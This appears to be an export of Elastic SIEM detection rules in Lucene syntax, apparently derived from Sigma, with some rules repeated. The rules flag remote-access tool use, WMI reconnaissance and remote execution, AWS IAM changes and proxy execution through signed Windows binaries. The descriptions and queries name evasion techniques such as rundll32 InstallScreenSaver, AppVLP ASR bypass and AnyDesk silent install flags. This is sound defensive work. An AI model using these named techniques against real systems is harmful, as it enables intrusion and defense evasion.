{"description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) \n", "enabled": false, "false_positives": ["Legitimate use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5c484884-472c-c63d-0a62-5028fd0e006b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Anydesk Temporary Artefact", "query": "(file.path:(*\\\\AppData\\\\Roaming\\\\AnyDesk\\\\user.conf* OR *\\\\AppData\\\\Roaming\\\\AnyDesk\\\\system.conf*) AND file.path:*.temp)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1219"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) \n", "enabled": false, "false_positives": ["Legitimate use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0a228469-7b38-0b31-72d6-796f8431b8c6", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "GoToAssist Temporary Installation Artefact", "query": "file.path:*\\\\AppData\\\\Local\\\\Temp\\\\LogMeInInc\\\\GoToAssist\\ Remote\\ Support\\ Expert\\\\*", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1219"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) \n", "enabled": false, "false_positives": ["Legitimate use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1d3a79a4-f140-739d-596e-d2aa2d0b7858", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "ScreenConnect Temporary Installation Artefact", "query": "file.path:*\\\\Bin\\\\ScreenConnect.*", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1219"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) \n", "enabled": false, "false_positives": ["Legitimate use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a8f98ffc-e0ce-d8a8-e6ef-8fe05d21b025", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Use of Anydesk Remote Access Software", "query": "(winlog.event_data.Description:\"AnyDesk\" OR Product:\"AnyDesk\" OR Company:\"AnyDesk\\ Software\\ GmbH\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1219"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) \n", "enabled": false, "false_positives": ["Legitimate use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1b563cc1-bb00-2c60-2549-ce17b9459cee", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Use of GoToAssist Remote Access Software", "query": "(winlog.event_data.Description:\"GoTo\\ Opener\" OR Product:\"GoTo\\ Opener\" OR Company:\"LogMeIn,\\ Inc.\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1219"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) \n", "enabled": false, "false_positives": ["Legitimate use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e61b385a-6417-b5d6-3417-48cac41122ba", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Use of LogMeIn Remote Access Software", "query": "(winlog.event_data.Description:\"LMIGuardianSvc\" OR Product:\"LMIGuardianSvc\" OR Company:\"LogMeIn,\\ Inc.\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1219"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) \n", "enabled": false, "false_positives": ["Legitimate use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "231f94fb-4e65-12a8-5c6e-86f45e59b1cb", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Use of ScreenConnect Remote Access Software", "query": "(winlog.event_data.Description:\"ScreenConnect\\ Service\" OR Product:\"ScreenConnect\" OR Company:\"ScreenConnect\\ Software\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1219"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "An adversary may use Radmin Viewer Utility to remotely control Windows device", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "830d9904-ae6b-71eb-4ecc-e3028e5b96ef", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Use Radmin Viewer Utility", "query": "(winlog.event_data.Description:\"Radmin\\ Viewer\" OR Product:\"Radmin\\ Viewer\" OR winlog.event_data.OriginalFileName:\"Radmin.exe\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1072"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1072", "name": "Software Deployment Tools", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1072", "name": "Software Deployment Tools", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "An adversary might use WMI to check if a certain Remote Service is running on a remote device.\nWhen the test completes, a service information will be displayed on the screen if it exists.\nA common feedback message is that \"No instance(s) Available\" if the service queried is not running.\nA common error message is \"Node - (provided IP or default) ERROR Description =The RPC server is unavailable\" if the provided remote host is unreacheable\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d41e37c7-9d43-3fdb-7cf8-87390179c3c9", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "WMI Reconnaissance List Remote Services", "query": "((process.executable:*\\\\WMIC.exe OR winlog.event_data.OriginalFileName:\"wmic.exe\") AND (process.command_line:*\\/node\\:* AND process.command_line:*service*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1047"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "An adversary might use WMI to execute commands on a remote system", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "677e42ae-822f-377d-193f-64a20606ace9", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "WMI Remote Command Execution", "query": "((process.executable:*\\\\WMIC.exe OR winlog.event_data.OriginalFileName:\"wmic.exe\") AND (process.command_line:*\\/node\\:* AND process.command_line:*process* AND process.command_line:*call* AND process.command_line:*create*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1047"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "An adversary might use WMI to list Processes running on the compromised host or list installed Software hotfix and patches.", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6040f791-9fec-45b0-7b34-3e38061481cd", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "WMI Process Reconnaissance", "query": "((((process.executable.text:*\\\\WMIC.exe) OR (winlog.event_data.OriginalFileName:\"wmic.exe\")) AND process.command_line.text:(*process* OR *qfe*)) AND (NOT (process.command_line.text:*call* AND process.command_line.text:*create*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1047"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "An application have been remove check if it is a critical", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "66ecdddf-72b1-b65e-0c2e-087246c47030", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "An Application Is Uninstall", "query": "(winlog.channel:\"Application\" AND Provider_Name:\"MsiInstaller\" AND winlog.event_id:(\"11724\" OR \"1034\"))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1489"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1489", "name": "Service Stop", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "An attacker can use the SID history attribute to gain additional privileges.", "enabled": false, "false_positives": ["Migration of an account into a new domain"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1e1ca947-2137-9d0b-8f13-7faa877c1c2d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Addition of SID History to Active Directory Object", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:(\"4765\" OR \"4766\") OR ((winlog.event_id:\"4738\" AND (NOT (winlog.event_data.SidHistory:(\"\\-\" OR \"%%1793\")))) AND (NOT (NOT _exists_:winlog.event_data.SidHistory)))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1134"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1134", "name": "Access Token Manipulation", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Thomas Patzke", "@atc_project (improvements)"], "license": ""}
{"description": "An attacker may execute an application as a .SCR File (Screensaver) using rundll32.exe desk.cpl,InstallScreenSaver", "enabled": false, "false_positives": ["The installation of new screen savers."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a67d81b1-137e-9466-fb5a-2cafb57c2c67", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "SCR File Write Event", "query": "(file.path.text:*.scr AND (NOT (file.path.text:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\system32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\* OR C\\:\\\\Windows\\\\SysWow64\\\\* OR C\\:\\\\Windows\\\\winsxs\\\\* OR C\\:\\\\Windows\\\\WinSxS\\\\* OR C\\:\\\\$WINDOWS.\\~BT\\\\NewOS\\\\*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christopher Peacock @securepeacock", "SCYTHE @scythe_io"], "license": ""}
{"description": "An attacker may execute an application as a SCR File using rundll32.exe desk.cpl,InstallScreenSaver", "enabled": false, "false_positives": ["Legitimate installation of a new screensaver"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7d198d48-457f-d049-bd72-1ed4e9d0871b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Rundll32 InstallScreenSaver Execution", "query": "(process.executable:*\\\\rundll32.exe AND process.command_line:*InstallScreenSaver*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christopher Peacock @securepeacock", "SCYTHE @scythe_io", "TactiKoolSec"], "license": ""}
{"description": "An attacker with the iam:UpdateLoginProfile permission on other users can change the password used to login to the AWS console on any user that already has a login profile setup.\nWith this alert, it is used to detect anyone is changing password on behalf of other users.\n", "enabled": false, "false_positives": ["Legit User Account Administration"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "661012ae-9c73-9ba9-ecec-6063e47c75bf", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "AWS User Login Profile Was Modified", "query": "((eventSource:\"iam.amazonaws.com\" AND eventName:\"UpdateLoginProfile\") AND (NOT (userIdentity.arn:*requestParameters.userName*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1098"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1098", "name": "Account Manipulation", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["toffeebr33k"], "license": ""}
{"description": "An attempt to export an AWS EC2 instance has been detected. A VM Export might indicate an attempt to extract information from an instance.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "bc194a44-95e7-56f0-4c76-791410248a2f", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "AWS EC2 VM Export Failure", "query": "((eventName:\"CreateInstanceExportTask\" AND eventSource:\"ec2.amazonaws.com\") AND (errorMessage:* OR errorCode:* OR responseElements:*Failure*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1005", "T1537"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1005", "name": "Data from Local System", "reference": ""}]}, {"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1537", "name": "Transfer Data to Cloud Account", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Diogo Braz"], "license": ""}
{"description": "AnyDesk Remote Desktop silent installation can be used by attacker to gain remote access.", "enabled": false, "false_positives": ["Legitimate deployment of AnyDesk"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2b1899a8-7a58-f2cf-23b5-604bc9b5e8e9", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "AnyDesk Silent Installation", "query": "(process.command_line.text:*\\-\\-install* AND process.command_line.text:*\\-\\-start\\-with\\-win* AND process.command_line.text:*\\-\\-silent*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1219"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["J\u00e1n Tren\u010dansk\u00fd"], "license": ""}
{"description": "AppInstaller.exe is spawned by the default handler for the \"ms-appinstaller\" URI. It attempts to load/install a package from the referenced URL", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "135aa23a-963d-e738-3fd4-851e6beecf30", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "AppX Package Installation Attempts Via AppInstaller", "query": "(process.executable.text:C\\:\\\\Program\\ Files\\\\WindowsApps\\\\Microsoft.DesktopAppInstaller_* AND process.executable.text:*\\\\AppInstaller.exe)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d3a25fed-e3e3-8e8f-1852-3d8ae90c84cf", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "AppInstaller Attempts From URL by DNS", "query": "(process.executable:C\\:\\\\Program\\ Files\\\\WindowsApps\\\\Microsoft.DesktopAppInstaller_* AND process.executable:*\\\\AppInstaller.exe)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Application Virtualization Utility is included with Microsoft Office. We are able to abuse \"AppVLP\" to execute shell commands.\nNormally, this binary is used for Application Virtualization, but we can use it as an abuse binary to circumvent the ASR file path rule folder\nor to mark a file as a system file.\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b7555be0-ce2b-97d6-aa2d-e3b6a305b339", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Using AppVLP To Circumvent ASR File Path Rule", "query": "(process.command_line:*appvlp.exe* AND process.command_line:(*cmd.exe* OR *powershell.exe*) AND process.command_line:(*.sh* OR *.exe* OR *.dll* OR *.bin* OR *.bat* OR *.cmd* OR *.js* OR *.msh* OR *.reg* OR *.scr* OR *.ps* OR *.vb* OR *.jar* OR *.pl* OR *.inf*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Sreeman"], "license": ""}
{"description": "Application Virtualization Utility is included with Microsoft Office. We are able to abuse \"AppVLP\" to execute shell commands.\nNormally, this binary is used for Application Virtualization, but we can use it as an abuse binary to circumvent the ASR file path rule folder\nor to mark a file as a system file.\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b7555be0-ce2b-97d6-aa2d-e3b6a305b339", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Using AppVLP To Circumvent ASR File Path Rule", "query": "(process.command_line:*appvlp.exe* AND process.command_line:(*cmd.exe* OR *powershell.exe* OR *pwsh.exe*) AND process.command_line:(*.sh* OR *.exe* OR *.dll* OR *.bin* OR *.bat* OR *.cmd* OR *.js* OR *.msh* OR *.reg* OR *.scr* OR *.ps* OR *.vb* OR *.jar* OR *.pl* OR *.inf*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Sreeman"], "license": ""}
{"description": "Application Virtualization Utility is included with Microsoft Office. We are able to abuse \"AppVLP\" to execute shell commands.\nNormally, this binary is used for Application Virtualization, but we can use it as an abuse binary to circumvent the ASR file path rule folder\nor to mark a file as a system file.\n", "author": ["Sreeman"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b7555be0-ce2b-97d6-aa2d-e3b6a305b339", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Using AppVLP To Circumvent ASR File Path Rule", "query": "(process.parent.executable.text:*\\\\appvlp.exe AND (NOT (process.executable.text:(*\\\\msoasb.exe OR *\\\\rundll32.exe))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Atbroker executing non-deafualt Assistive Technology applications", "enabled": false, "false_positives": ["Legitimate, non-default assistive technology applications execution"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "be78a94e-4a3d-25b8-4c59-766aaff61db7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Atbroker Execution", "query": "((process.executable.text:*AtBroker.exe AND process.command_line.text:*start*) AND (NOT (process.command_line.text:(*animations* OR *audiodescription* OR *caretbrowsing* OR *caretwidth* OR *colorfiltering* OR *cursorscheme* OR *filterkeys* OR *focusborderheight* OR *focusborderwidth* OR *highcontrast* OR *keyboardcues* OR *keyboardpref* OR *magnifierpane* OR *messageduration* OR *minimumhitradius* OR *mousekeys* OR *Narrator* OR *osk* OR *overlappedcontent* OR *showsounds* OR *soundsentry* OR *stickykeys* OR *togglekeys* OR *windowarranging* OR *windowtracking* OR *windowtrackingtimeout* OR *windowtrackingzorder*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Mateusz Wydra", "oscd.community"], "license": ""}
{"description": "Atbroker executing non-deafualt Assistive Technology applications", "enabled": false, "false_positives": ["Legitimate, non-default assistive technology applications execution"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "be78a94e-4a3d-25b8-4c59-766aaff61db7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Atbroker Execution", "query": "((process.executable:*AtBroker.exe AND process.command_line:*start*) AND (NOT (process.command_line:(*animations* OR *audiodescription* OR *caretbrowsing* OR *caretwidth* OR *colorfiltering* OR *cursorscheme* OR *filterkeys* OR *focusborderheight* OR *focusborderwidth* OR *highcontrast* OR *keyboardcues* OR *keyboardpref* OR *magnifierpane* OR *messageduration* OR *minimumhitradius* OR *mousekeys* OR *Narrator* OR *osk* OR *overlappedcontent* OR *showsounds* OR *soundsentry* OR *stickykeys* OR *togglekeys* OR *windowarranging* OR *windowtracking* OR *windowtrackingtimeout* OR *windowtrackingzorder*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Mateusz Wydra", "oscd.community"], "license": ""}
{"description": "Attackers can use explorer.exe for evading defense mechanisms", "enabled": false, "false_positives": ["Legitimate explorer.exe run from cmd.exe"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "56b02d85-3102-815a-ae63-3ddf17645c04", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Proxy Execution Via Explorer.exe", "query": "(process.executable:*\\\\explorer.exe AND process.parent.executable:*\\\\cmd.exe AND process.command_line:*explorer.exe*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Furkan CALISKAN", "@caliskanfurkan_", "@oscd_initiative"], "license": ""}
{"description": "Attackers can use findstr to hide their artifacts or search specific strings and evade defense mechanism", "enabled": false, "false_positives": ["Administrative findstr usage"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "52eee994-0683-c7fd-2600-029b0728a2d1", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Abusing Findstr for Defense Evasion", "query": "(process.command_line:*findstr* AND ((process.command_line:*\\/V* AND process.command_line:*\\/L*) OR (process.command_line:*\\/S* AND process.command_line:*\\/I*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Furkan CALISKAN", "@caliskanfurkan_", "@oscd_initiative"], "license": ""}
{"description": "Attackers can use print.exe for remote file copy", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3556c11b-9e10-b329-b89a-56d7039a1b4c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Abusing Print Executable", "query": "((process.executable:*\\\\print.exe AND process.command_line:print* AND process.command_line:*\\/D* AND process.command_line:*.exe*) AND (NOT (process.command_line:*print.exe*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Furkan CALISKAN", "@caliskanfurkan_", "@oscd_initiative"], "license": ""}
